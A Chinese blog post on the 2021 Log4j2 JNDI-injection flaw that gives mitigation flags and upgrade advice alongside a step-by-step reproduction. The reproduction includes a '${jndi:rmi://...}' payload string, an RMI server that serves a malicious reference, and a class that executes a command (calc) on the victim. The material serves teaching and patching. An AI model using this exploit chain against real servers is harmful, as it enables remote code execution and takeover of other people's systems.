## 事件背景 2021年12月10日凌晨前，网上曝出了 log4j2 的**核弹级**漏洞，这种漏洞**超级高危，操作简单，利用方便，适用范围广**，可以直接**任意代码执行**，**接管你的服务器** ## 简要说明 Java JNDI 注入漏洞，通过构造字段使log4j2日志访问指定好的路径，执行任意代码。 ## 临时修复 ``` 任选其一： 1.JVM 参数添加 -Dlog4j2.formatMsgNoLookups=true 2.log4j2.formatMsgNoLookups=True 3.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true ``` ## 安全建议目前，Apache Log4j 已经发布了新版本来修复该漏洞，请受影响的用户将 Apache Log4j2 的所有相关应用程序升级至最新的 Log4j-2.15.0 版本，同时升级已知受影响的应用程序和组件，如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。 ## 简单复现 0. 我复现的环境 ``` 操作系统 windows10 jdk: jdk1.8 ``` 1. 目录结构 ![目录结构.png](https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/830f2bfae72049b3ad07b5df64600422~tplv-k3u1fbpfcp-watermark.image?) 2. 需要的依赖 ``` org.apache.logging.log4j log4j-api 2.14.0 org.apache.logging.log4j log4j-core 2.14.0 com.fasterxml.jackson.dataformat jackson-dataformat-yaml 2.12.3 org.slf4j slf4j-api 1.7.32 org.apache.logging.log4j log4j-slf4j-impl 2.14.0 ``` 3. 受害者服务器代码 ``` import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * 模拟运行存在漏洞log4j2的服务器 */ public class ServerTest { private static final Logger logger = LoggerFactory.getLogger(ServerTest.class); public static void main(String[] args) { //有些高版本jdk需要打开此行代码 //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); //模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码同一台可以使用127.0.0.1 String username = "${jndi:rmi://192.168.31.104:1099/evil}"; //正常打印业务日志 logger.error("username:{}",username); } } ``` 4. 构建RMI服务来响应恶意代码 - **Java RMI**，即 **远程方法调用**（Remote Method Invocation），一种用于实现**远程过程调用**(RPC)的Java API，能直接传输序列化后的Java对象和分布式垃圾收集。它的实现依赖于(JVM)，因此它仅支持从一个JVM到另一个JVM的调用。 ``` import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; /** * 准备好RMI服务端，等待受害服务器访问 */ public class RMIServer { public static void main(String[] args) { try { // 本地主机上的远程对象注册表Registry的实例,默认端口1099 LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); System.out.println("Create RMI registry on port 1099"); //返回的Java对象参数列表第一个是包路径 Reference reference = new Reference("EvilCode","EvilCode",null); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); // 把远程对象注册到RMI注册服务器上，并命名为evil registry.bind("evil",referenceWrapper); } catch (RemoteException | AlreadyBoundException | NamingException e) { e.printStackTrace(); } } } ``` 5. 恶意代码（打开计算器） ``` import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; /** * 执行任意的脚本，目前的脚本会使windows打开计算器 */ public class EvilCode implements ObjectFactory { static { System.out.println("受害服务器将执行下面命令行"); Process p; String[] cmd = {"calc"}; try { p = Runtime.getRuntime().exec(cmd); InputStream fis = p.getInputStream(); InputStreamReader isr = new InputStreamReader(fis); BufferedReader br = new BufferedReader(isr); String line = null; while((line=br.readLine())!=null) { System.out.println(line); } } catch (IOException e) { e.printStackTrace(); } } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception { return null; } } ``` 6. 复现效果 ![复现效果.png](https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/2688c01a63e6484395c427d8acdd3415~tplv-k3u1fbpfcp-watermark.image?) ## Java17实现的改动影响的代码为上述第4步,主要在于java9之后模块化的原因。 1. maven的pom文件改动 ``` org.apache.maven.plugins maven-compiler-plugin 17 17 --add-exports=jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED ``` 2. 添加VM options:`--add-exports=jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED` ---- **补:log4j2.yml** ``` Configuration: status: info Properties: # 定义全局变量 Property: # 缺省配置（用于开发环境）。其他环境需要在VM参数中指定，如下： #测试：-Dlog.level.console=warn -Dlog.level.xjj=trace #生产：-Dlog.level.console=warn -Dlog.level.xjj=info - name: log.level.console value: info - name: log.path value: logs - name: project.name value: log4j2 Appenders: Console: #输出到控制台 name: CONSOLE target: SYSTEM_OUT ThresholdFilter: level: ${sys:log.level.console} # “sys:”表示：如果VM参数中没指定这个变量值，则使用本文件中定义的缺省全局变量值 onMatch: ACCEPT onMismatch: DENY PatternLayout: pattern: "%d{yyyy-MM-dd HH:mm:ss,SSS}:%4p %t (%F:%L) - %m%n" RollingFile: # 输出到文件，超过128MB归档 - name: ROLLING_FILE ignoreExceptions: false fileName: ${log.path}/${project.name}.log filePattern: "${log.path}/$${date:yyyy-MM}/${project.name}-%d{yyyy-MM-dd}-%i.log.gz" PatternLayout: pattern: "%d{yyyy-MM-dd HH:mm:ss,SSS}:%4p %t (%F:%L) - %m%n" Policies: SizeBasedTriggeringPolicy: size: "1024 MB" DefaultRolloverStrategy: max: 5 Loggers: Root: level: info AppenderRef: - ref: CONSOLE - ref: ROLLING_FILE ``` ### 更新 ~~解决方案：升级log4j 2.16.0~~ ~~解决方案：升级到log4j 2.17.0~~ 解决方案：升级到log4j 2.17.1